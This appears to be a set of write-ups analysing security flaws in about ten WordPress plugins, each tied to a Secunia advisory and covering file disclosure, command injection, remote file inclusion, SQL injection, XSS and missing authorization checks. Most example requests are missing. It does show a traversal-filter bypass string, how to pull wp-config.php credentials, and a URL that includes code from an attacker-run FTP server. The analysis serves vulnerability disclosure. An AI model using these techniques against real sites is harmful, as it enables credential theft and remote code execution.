WordPress Cimy User Manager arbitrary file disclosure

Advisory

Secunia Advisory SA 50834

Analysis of vulnerability

The Cimy User Manager is made to be able to export data from WordPress. The file cimy_user_manager.php has an init action which decides whether or not to download some content from the site:

First it checks if the cimy_um_filename POST variable is set. Then it goes to check if the referer is from the admin page, which is a flawed way of authentication. But if it thinks you come from the admin page, it will attempt to protect against path traversal. It is pretty obvious that we can fake the referer header. But we can quite easily bypass the path traversal. Lets have a look at an example.

Take this string: …/…//
Now lets see where we match ../:  .../...//
Which leaves us with: ../

This tells us that the path traversal “protection” on line 78 can be bypassed trivially.

Additionally, in the case where you’d want to obtain a wp-config.php file, which contains credentials and other very critical information about the blog, we do not need to bypass this, because when init is called, the working directory is the wordpress base folder, which contains the wp-config.php file. Here’s an example request showing how to pull the wp-config.php file:

 

WordPress Ungallery remote command injection vulnerability

Analysis of vulnerability

The Ungallery for WordPress offers functionality for searching for pictures in a gallery, which is implemented through the plain filesystem in search.php.

Note that the backtick character in PHP has a special meaning, as opposed to the ” and ‘. When you wrap something in 2 backtick characters, it will act as if the contents between them is passed to shell_exec. Note however that the $search variable, which is extracted from the search GET variable, is never sanitized before passed into the exec on line 28. This means that we can pull off a remote command injection with a simple request like this:

 

WordPress Crayon Syntax Highlighter remote file inclusion vulnerability

Advisory

Secunia advisory SA 50804

Analysis of vulnerability

The Crayon Syntax highlighter implements a vulnerable RPC-like system for AJAX in /util/ajax.php and /util/preview.php. Both files share these 3 lines of code as being the first ones in both:

So it apperas that at least it attempts to do some validation. Let us see how that is implemented in global.php(Included by crayon_wp.class.php):

So it calls crayon_is_php_file which checks if the provided path is a file, the extension is “php” and the filename is what is expected, which in this case is wp-load.php. In theory, this should be safe if we assume that is_file only returns true for local file. However due to is_file also supporting FTP, we can get it to return true for a remote file on a FTP server! This means that if the server allows url includes, we can do a remote file include from a malicious FTP server hosting a wp-load.php file through an URL like this, either through ajax.php or preview.php:

http://192.168.80.130/wordpress/wp-content/plugins/crayon-syntax-highlighter/util/ajax.php?wp_load=ftp://192.168.80.201/wp-load.php

WordPress Zingiri Shop SQL injection vulnerabilities

Advisory
Secunia Advisory SA 49398

Analysis of  vulnerability

This vulnerability relies on a lack of validation in the Zingiri Web Shops IsAdmin function in /fws/includes/subs.inc.php from the fws_cust cookies. The method tries to determine if the user is an admin like this:

It splits(Explode!!) the fws_cust cookie by the # character, extracts a md5′ed password and an userID, and then fetches the corresponding user in the database. Notice however on line 232 and 235 that it does not sanitize the input, leading to a SQL injection. We can abuse this to forge a cookie which gives us admin rights using this simple python script:

Numerous other vulnerabilities were fixed that used same attack vector, as a result of copy paste. These can be found by here quite easily, and exploited the same way.

WordPress GD Star Rating information disclosure vulnerability

Advisory
Secunia Advisory SA 49850

Analysis
The GD Star Rating plugin “allows you to set up advanced rating and review system for post types and comments in your blog using single, multi and thumbs ratings”. Through its admin interface, you can export some data, such as T2 templates and votes. The interesting thing it will allow you to do, is export user data. This will include userID, username, user email address, what vote was casted on which post, when the vote was cast, IP and user agent. However, a flaw exists in the code in export.php which allows for information disclosure of these values.

The file will import some configuration and export classes, and then start figuring out what to export. It then takes the “ex” value to determine the export type, “de” for the data to export(Article or comment data), and then “us” for how much data to export.

It calls into /cls/export.phps export_users function:

Here we see it takes in the “de”, “us”, and further get parameters and starts building up a SQL query to return. What we notice is that at no point so far have we seen any validation that the calling user is an admin. Also we notice that it checks the GET parameters “ip” and “ua”, which are used to toggle whether or not to return the IP and user agent information

Because of the lack of validation of the calling user, we can create an extremely simple request, which will export this data in clear text, including username, email, ip, and user agent.

WordPress Flexi Quote Rotator plugin multiple vulnerabilities

Advisory
Secunia Advisory SA 49910

Analysis
The admin interface of the Flexi Quote Rotator plugin for WordPress implements a way for editing a quote through the displayManagementPage function in /classes/quote-rotator-management.class.php.

It does so by checking the action GET parameter first. If it is “edit”, it will then concatenate the “id” GET parameter into a SQL query, and write the result out to the page. But because it does not correctly sanitize the “id” GET parameter, which causes a SQL injection. Also, this piece of code can be invoked without a nonce, which causes a CSRF vulnerability. Additionally, while it output-encodes the author and quote column, it does not encode the ID. This means we have two options for exploiting these 3 vulnerabilities:

  • Chaining the SQL Injection and the XSS in order to execute javascript in the admins browser
  • Chaining the SQL Injection and the CSRF in order to execute arbitrary SQL blindly

Here is an example of the former, where we trick the admin user into clicking on our specially crafted URL:

The hex value that we use in order to bypass the magic quotes which WordPress enforces was generated this way:

WordPress Symposium plugin multiple stored XSS vulnerabilities

Advisory
Secunia Advisory SA 49791

Analysis of add_to_page vulnerability
The first vulnerability in /ajax/symposium_ajax_functions.php in the “add_to_page” action relies on a lack of validation of the $current_user variable that is declared through global. The function allows you to append text to any arbitrary page, which can be abused for a XSS attack.

Because there is no validation of the user calling this action before this, as the $current_user variable is only just globally included at line 156, and no valididation is made in respect to it, we have a vulnerability since globally including a variable does not guarantee that it exists. Therefor you can call this while not being authenticated, and add a XSS payload to any page:

If you now load the frontpage(Which is by default page 1), you will now observe that it alerts out your cookie.

Analysis of add_new_page vulnerability
This vulnerability in /ajax/symposium_ajax_functions.php is very much like the first one. Again it’s a lack of validation of the current user. This function, rather than add content to an existing page, serves to allow an user to create a new page with some content(A shortcode specifically, but no validation is made that it is just that). This block of code might look big and scary, big in reality most of the lines are simply SQL queries.

This long bit of code will effectively take in any arbitrary text input and add a new page with said input. As there’s no validation of the current user being authenticated, leave alone being an user with appropiate privileges to do this, we can exploit this to pull off a persistent XSS by adding a new page:

Analysis of import_template_file vulnerability
The last vulnerability in /ajax/symposium_ajax_functions.php is a bit more fun, because it does not directly touch the DB in this code. Rather, it uses the symposium_update_import_snippet function to extraplote a value to insert into the database through update_option. By being a bit crafty with our request, we can once again cause a persistent XSS due to a lack of validation of the calling user, since we can ship our payload into parts of the template, many of which are used by *most* pages.

In our request, we need to add a bit of whatespace around our payload to allow for a margin of error, because the way it does the substringing isn’t that nice. This request will show how to do a simple alert, which will show on most pages on the site.

WordPress Paid Memberships Pro information disclosure vulnerability

Advisory
Secunia Advisory SA 49630

Analysis of vulnerability
The page /adminpages/memberslist-csv.php is called through AJAX from admin pages, in order to export a CSV list of paid members on the WordPress site. It sets itself up like this:

Due to a lack of validation that the user is logged in and has sufficient rights to do so, we can simply request this page and get a full list of paid members on the blog.

WordPress Global Content Blocks multiple vulnerabilities

Advisory
Secunia Advisory SA 49854

Analysis of gcb_ajax_add.php vulnerability
A part of the admin interface for this plugin allows you to insert a “content block”, which can be used across WordPress to contain reusable blocks of content and PHP code. It does so by making a POST call to /resources/tinymce/gcd_ajax_add.php. Let’s have a quick look at that to see how it works.

So it starts by doing some initializations, validate that all the input is there that it needs, and do mostly best-practice sanitization. It then inserts the value into a database and returns the same value back in json format. The problem here is that at no point has the script checked that the calling user is logged in, and is an admin(This is important because it allows for inserting PHP code, which could cause an arbitrary code execution).

It does sanitization of all values but the name, but as it turns out this is all output encoded in the admin interface. But we’re still able to insert arbitrary content into the table without authentication, which could be bad due to the possibility of PHP code being inserted. This can be exploited like this:

Analysis of gdbvalue.php vulnerability
Another part of the admin interface is used to fetch the value of a content block, i.e the php code or other trip of content that may be reused on pages. In cases where it is php code, source code disclosure is a concern. The next 3 vulnerabilities allows for disclosure of block contents. The first one is in [/resources/tinymce/gcbvalue.php](http://plugins.svn.wordpress.org/global-content-blocks/tags/1.5.1/resources/tinymce/gcbvalue.php):

We see some validation of the input id to prevent SQL injection, and then a SQL query which will be used to print out the value(Code/markup) to the page. There is no validation that the caller is an admin, which means we can fetch the value(Which can be PHP code) with a simple HTTP request

This will disclose the contents of the block, which may contain PHP code that may contain secrets.

Analysis of gcb_export.php vulnerability
A feature that the admin panel of this plugin is that it will export the block defined for easy import into another blog. It does so by calling /gcb/gcb_export.php, which forces the browser to download a .gcb file which contains base64 encoded content.

Again there is a lack of validation that the user is logged in and has sufficient privileges to view this data normally. And because it may contain php code that is sensitive, it offers a source code disclosure vulnerability we can exploit like this. Note the semi-colon separated id list, which makes this very handy.

WordPress Sendit Newsletter plugin multiple SQL injection

Advisory
Secunia Advisory SA 49506

Analysis
A SQL injection vulnerability exists in the ajax.php file of the Sendit Newsletter plugin for WordPress, which is used for setting the subscribed or unsubscribed flag on an email.

By passing in an arbitrary key-pair value, we see that because of line 9, it will use the key-pair for the SET statement on line 17/27 without any validation. It will also explode(Split into an array) the ID value on line 10 and 11 and put the “ID” into a variable later used, without validating that it is an integer. This is then also used on line 17/27, and is also exploitable.

Because this call does not require any sort of authentication, we can make a simple POST request to exploit this and inject SQL: